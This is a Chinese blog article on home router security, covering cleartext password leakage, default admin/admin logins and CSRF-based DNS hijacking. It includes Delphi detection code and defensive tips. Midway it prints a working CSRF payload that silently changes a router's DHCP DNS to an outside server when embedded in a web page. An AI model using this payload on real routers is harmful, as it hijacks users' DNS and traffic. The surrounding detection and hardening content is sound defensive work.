-
传统路由器密码泄露漏洞及DNS劫持 无线蹭网安全检测
网络 2014/5/7 9:20:07围绕着最近比关注的一个问题,就是安全。路由器是互联网入口,多少厂家必争之地。这次央视曝光“后门”事件,也许就是预示智能路由器与传统路由器洗牌的一次机遇已经到来,谁能做好路由器安全谁就能在路由器之战占据主动权。反之“传统路由器”厂商麻木对待安全问题将被翻牌。下面我们从传统路由器解释一些“小”安全问题的发现利用和“促进安全”的一些思路和想法,也许写的不够好请大家海涵。
传统路由型号多,固件版本多,无法在线更新软件补丁,导致很多“旧版本”“老款”路由器都可能被黑客攻击。下面我教大家通过“抓包的方式”找到一款路由器潜在的漏洞隐患,深入进去,你就知道“传统路由器”厂商对待安全的重视程度有多么弱了,希望不久将来这一局面会被“智能路由”的出现而发生改变。
话不多说进入话题,需要准备以下环境:WinXP系统,抓包工具HttpAnalyzer我们这里用V6版本对付XP足够了。首先我们打开HttpAnalyzer点"Strat"按钮开始捕获数据包,然后我们浏览器中输入常用的路由器默认地址:“http://192.168.1.1”输入我们设置的密码,或者默认账户密码:admin、admin登陆。
登陆后我们找到WAN口设置,功能看到密码框的圈圈了吧。
很多早期路由器能通过星号查看器看到真实“ADSL拨号”密码的,这款已经没有这个“星号密码”问题了(当年互联星空盗刷Q币很严重就是ADSL账户明文密码被盗)。 我们来看看HttpAnalyzer抓包内容,可以看到密码处是“Hello123World”哈哈我的密码?当然不是这个是“假密码”这一处漏洞已经被厂商修复了用了一个“伪”密码。
是不是真的没问题?没事我们点一下“高级设置”,然后再看下数据包。哎呀密码明文的泄露了!不知道哪个程序员这么粗心,修了一处问题还剩一处问题不修复,算不算留“后门”哈?
下面是我们写的路由器默认密码检测代码,尝试admin、admin成功则代表有默认密码。procedure TChekPassThread.Execute; var http: TIdHTTP; begin FreeOnTerminate := True; http := TIdHTTP.Create(nil); try http.Request.Accept := '*/*'; http.Request.AcceptLanguage := 'zh-cn'; http.Request.UserAgent := 'Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.2;)'; http.Request.Connection := 'Keep-Alive'; http.Request.Username := DefaultAdmin; http.Request.Password := DefaultAdmin; http.Request.BasicAuthentication:=True; http.Get('http://'+IP+'/'); finally if http.ResponseCode=401 then begin AddLineStr('默认密码检测结果:安全 非默认密码admin',0,False); end else begin AddLineStr('默认密码检测结果:危险 请立即修改默认密码admin',2,True); end; http.Free; end; end;
好多路由器买回来都不改默认密码?没错很多都不改!因为很多都是电脑小白能设置好路由器上网就已经很不错了,你让他改密码。万一弄个上不了网怎么办?所以很多路由器还是admin和admin!然后就有了下面的CSRF劫持DNS!漏洞利用代码如下(嵌入网页访问就中招):
document.writeln('<style type="text/css">@import url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')
复制代码
实际链接为“http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6,别人利用“http://t.cn/8sfyvUE“,微博短链接加密你肉眼根本判断不了是否是安全的链接。如果你浏览器访问这个恶意链接你的DHCP服务器默认DNS就会被修改,然后只要你是自动获取IP上网,攻击者就可以让修改你的域名解析IP让你访问任意“假冒”网站(平板、手机、笔记的上网流量全被劫持走了你还有什么安全可言吗?)。
上面我们提到都是验证这个DNS劫持漏洞相关的,下面我们写点代码检测DNS安全,需要注意的一点就是要路由安全策略需要验证“来路”,所以我们设置Referer =http://192.168.1.1/userRpm/MenuRpm.htm即可正常获取网页源码,之后只要将DHCPPara数组解析出来就可以了,是否安全还是交给用户判断了。我们这里只是简单实现查看,如果你有如何判断是否安全的想法欢迎回帖与我讨论。procedure TChekDnsThread.Execute; var http: TIdHTTP; Html: string; begin FreeOnTerminate := True; http := TIdHTTP.Create(nil); try http.Request.Accept := '*/*'; http.Request.Referer := 'http://'+IP+'/userRpm/MenuRpm.htm'; http.Request.AcceptLanguage := 'zh-cn'; http.Request.UserAgent := 'Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.2;)'; http.Request.Connection := 'Keep-Alive'; http.Request.Username := UserName; http.Request.Password := PassWord; http.Request.BasicAuthentication:=True; Html:=''; http.Get('http://'+IP+'/'); Html:=http.get('http://'+IP+'/userRpm/LanDhcpServerRpm.htm'); finally if http.ResponseCode=200 then begin Html:=CenterStr(Html,'var DHCPPara = new Array(','0,0 );'); AddLineStr(DeleteLineBreaks(ReInfo('DNS安全检测结果:首选:'+Split(Html,',',7)+' 备用:'+Split(Html,',',8))),0,False); end else begin AddLineStr(('DNS安全检测失败:请检查输入的路由器密码是否正确'),1,True); end; http.Free; end; end;
蹭网一般发生在“无线”路由器上,所以你家如果没有无线路由器的话大可放心,他蹭不了!想要实现检测功能我们需要解决登录密码问题,这个问题应该不难你自己的路由器你知道密码的。(如果真的忘记密码你就求助牙签吧他知道怎么办)传统路由器多数都是用“WWW-Authenticate”认证方式,比较古老没办法使用“图形验证码”技术防暴力破解。
解决密码问题登陆后,在传统路由器“复杂设置界面”中找一个可以看到“连接”用户列表的功能,找了半天 就找到DHCP服务器下的客户端列表功能比较合适。对于手机、平板、笔记本这类移动设备基本上都DHCP获取IP应该是没问题,如果其他方式“有线固定IP”接入我们这里不做讨论,不算“完美解决”只是做到能用。
下面是我们写的DHCP列表检测代码,还是没办法直接判断是否可疑是否安全交给“专业”用户。欢迎有思路或想法的回帖与我讨论。procedure TChekDHCPThread.Execute; var http: TIdHTTP; Html: string; TList:TStringList; I:Integer; begin FreeOnTerminate := True; http := TIdHTTP.Create(nil); try http.Request.Accept := '*/*'; http.Request.Referer := 'http://'+IP+'/userRpm/MenuRpm.htm'; http.Request.AcceptLanguage := 'zh-cn'; http.Request.UserAgent := 'Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.2;)'; http.Request.Connection := 'Keep-Alive'; http.Request.Username := UserName; http.Request.Password := PassWord; http.Request.BasicAuthentication:=True; Html:=''; http.Get('http://'+IP+'/'); Html:=http.get('http://'+IP+'/userRpm/AssignedIpAddrListRpm.htm'); finally if http.ResponseCode=200 then begin TList:=TStringList.Create; TList.Text:=ReInfo(CenterStr(Html, 'var DHCPDynList = new Array(','0,0 );')); if trim(TList[0])='' then TList.Delete(0); //删除第一个空行 Form1.lv1.Clear; for I:=0 to TList.Count-1 do begin if I mod 4=0 then begin with Form1.lv1.items.add do begin Caption:=TList[I]; SubItems.Add(TList[I+1]); SubItems.Add(TList[I+2]); SubItems.Add(TList[I+3]); end; end; end; Tlist.Free; end else begin AddLineStr(('蹭网安全检测失败:请检查输入的路由器密码是否正确'),1,True); end; http.Free; end; end;
这款传统路由器家庭市场占有率极高,但是安全性完善方面做的不够,结合本文内容我们将成果分享给大家。小班底小作品 非商用产品 不喜勿喷。 本软件开源开源开源,大家拿去自己玩自己改。软件只提供“只读”功能,所以大家不用担心他会搞坏路由器。开发环境:DELPHI 7 无需安装第三方控件
相关链接:http://forum.cnsec.org/thread-92959-1-2.html、http://forum.cnsec.org/thread-92960-1-1.html
1、对于路由器设备登陆密码安全,建议设置大小写字母+数字+特殊字符至少10位。
2、登陆路由器操作后,建议使用”退出“”登出“功能完全退出。
3、如果是主流路由器,建议定期查看官网是否有新版本的固件并及时升级。
4、无线路由器接入安全,建议使用WPA2及更高加密方式密码长度至少10位。
5、经常检查无线或有线接入IP,通过机器名、网络流量判断是否被黑。
6、不访问一些不良网站和不知名网站,防止路由被CSRF劫持DNS攻击。
7、把自己的电脑设置成固定IP地址,DNS设置运营商推荐的或8.8.8.8。
8、关闭路由器WPS/QSS功能,防止PIN破解连接到你的无线网络。
9、如果你的路由器支持MAC过滤、IP过滤功能可以开启,防止未知用户接入。
10、建议购买一些信誉好和质量好的路由器厂家,请勿贪便宜购买小厂设备减少“后门”事件。文中提到的三个问题仅仅只是传统路由器安全中的冰山一角,传统路由器售出后,路由器自带系统基本不会再升级更新,即使在官网有新的固件包,一般的用户也没有升级路由系统的概念。用户信息遭遇各种泄露、劫持、蹭网根本就没人管,厂商不管,安全公司管不了。只能让用户自己承担风险,这不合理!虽然智能路由器并没有对传统路由器产生太大的冲击,智能路由器市场目前也不成熟,多数厂商都是在试验阶段,但是随着人们对智能产品的欲望越来越强烈,厂商通过一次次经验去完善产品,相信智能路由器日后必定会在路由器市场占据重要地位。
阅读(1359) 分享(0)
上一篇: JS显示隐藏密码
下一篇: 基于HTML5技术的文件上传组件